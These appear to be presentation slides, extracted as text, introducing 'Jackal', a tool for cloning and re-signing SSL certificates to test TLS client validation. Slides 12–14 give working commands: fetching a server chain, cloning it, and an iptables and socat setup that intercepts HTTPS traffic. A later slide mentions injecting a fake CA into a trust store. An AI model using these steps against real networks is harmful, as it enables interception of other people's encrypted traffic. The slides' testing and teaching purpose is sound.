Jackal clone SSL certificates. Kevin Sheldrake rtfc.org.uk
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1 Jackal clone SSL certificates Kevin Sheldrake rtfc.org.uk
2 WTF? Jackal is a tool to clone SSL certificates. SSL/TLS clients should check certificates properly. Cloning certs with openssl cli tool is tricky. Instead, use C to load and resign certs. Can be used as part of SSL/TLS MITM test.
3 When / Where / How? Client (software, browser, device) connects to server over SSL/TLS. Server sends SSL certificate to client. Client checks: Cert matches server. MITM possible! Cert chain is valid and signed by trusted CA. Secrets exchange -> encrypted comms. MITM possible!
4 Certs Common name, identity details, constraints, etc. Generate public/private key pair. Add public key to certificate. CA signs cert: Hash cert and sign hash with CA private key. Server presents cert to client. Client encrypts a nonce with certificate s public key. Server decrypts nonce -> requires certificate s private key. Encrypted comms.
5 Certificate chains Server or Leaf Cert Intermediary CA Intermediary CA YES! Certificate Authority YES!
6 Certificate chains Server or Leaf Cert Sent to client Intermediary CA Intermediary CA Implicit trust YES! Certificate Authority YES!
7 Example YES!
8 Example YES!
9 Example YES!
10 Easy as 1, 2, 3
11 Stealing underpants Phase 1: Get server certificate chain. Phase 2: Clone certificate chain. Phase 3: MITM SSL/TLS connection.
12 1: Get server certificate chain % openssl s_client -connect hhc.headhacking.com:443 -showcerts </dev/null > hhc.headhacking.com.cert
13 2: Clone certificate chain % jackal -sr -c hhc.headhacking.com.cert -o hhc.headhacking.com.clone -C newca.pem -K newca.key! Jackal v1.0 - Certificate Cloner - K Sheldrake ! "Certainly, the Jackal masqueraded as an Englishman, but he also masqueraded as a Dane and as a Frenchman. So there's no way of proving his identity at all." - The Day of the Jackal! Loading CA key Cert file contains >1 certificates! ### /serialnumber=c8ka4lqf7mwd4nbdq35p7zgcwesrqykn/ou=gt /ou=see resources/cps (c)13/ou=domain Control Validated - RapidSSL(R)/CN=hhc.headhacking.com ### v3 sig hash type = 65 public key size = 2048 ca subject is '/C=AU/ST=Some-State/O=Euclid/OU=Domain Control Validated/ CN=*.euclidporisms.net' subject key identifier changed! Success!
14 3: MITM SSL/TLS % cat hhc.headhacking.com.clone*.pem newca.pem > hhc.headhacking.com.clonechain.pem # echo 1 > /proc/sys/net/ipv4/ip_forward # iptables -tnat -A POSTROUTING -o lan7 -j MASQUERADE # socat OPENSSL-LISTEN: 5000,reuseaddr,pf=ip4,ciphers=ALL,method=TLSv1, certificate=hhc.headhacking.com.clonechain.pem, key=hhc.headhacking.com.clone.0.key,verify=0,fork TCP- CONNECT:localhost:5001 & # socat TCP-LISTEN:5001,reuseaddr,pf=ip4,fork OPENSSL:hhc.headhacking.com:443,verify=0 & # iptables -tnat -A PREROUTING -ptcp -mtcp -i lan6 -d hhc.headhacking.com --dport 443 -j DNAT --to-destination lan6ipaddr:5000
15 MITM lan6 Multi-homed lo Socat Socat iptables lan7
16 In action - warning
17 In action - continue
18 In action - certificate
19 Fake trust Inject into CA trust store Multi-homed lan6 Socat lo Socat lan7 iptables
20 In action - localhost
21 In action - detail
22 Usage Jackal v1.0 - Certificate Cloner - K Sheldrake ! "Certainly, the Jackal masqueraded as an Englishman, but he also masqueraded as a Dane and as a Frenchman. So there's no way of proving his identity at all." - The Day of the Jackal!! ONLY USE FOR TESTING (don't be a muppet)! jackal -c certificate displays certificate details jackal -sl -c certificate(s) -o outputfilespec [-C newcacert -K newcakey] signs the leaf certificate with the CA if specified or self-signs it if not jackal -sc -c certificates -o outputfilespec [-C newcacert -K newcakey] signs the certificate chain with the CA if specified or self-signs the root if not jackal -sr -c certificates -o outputfilesepc -C newcacert -K newcakey signs the certificate chain, replacing the current root with the specified CA! outputfilespec will be appended with.pem/.key with -sl and.n.pem/.key with -sc/r
23 Any questions?
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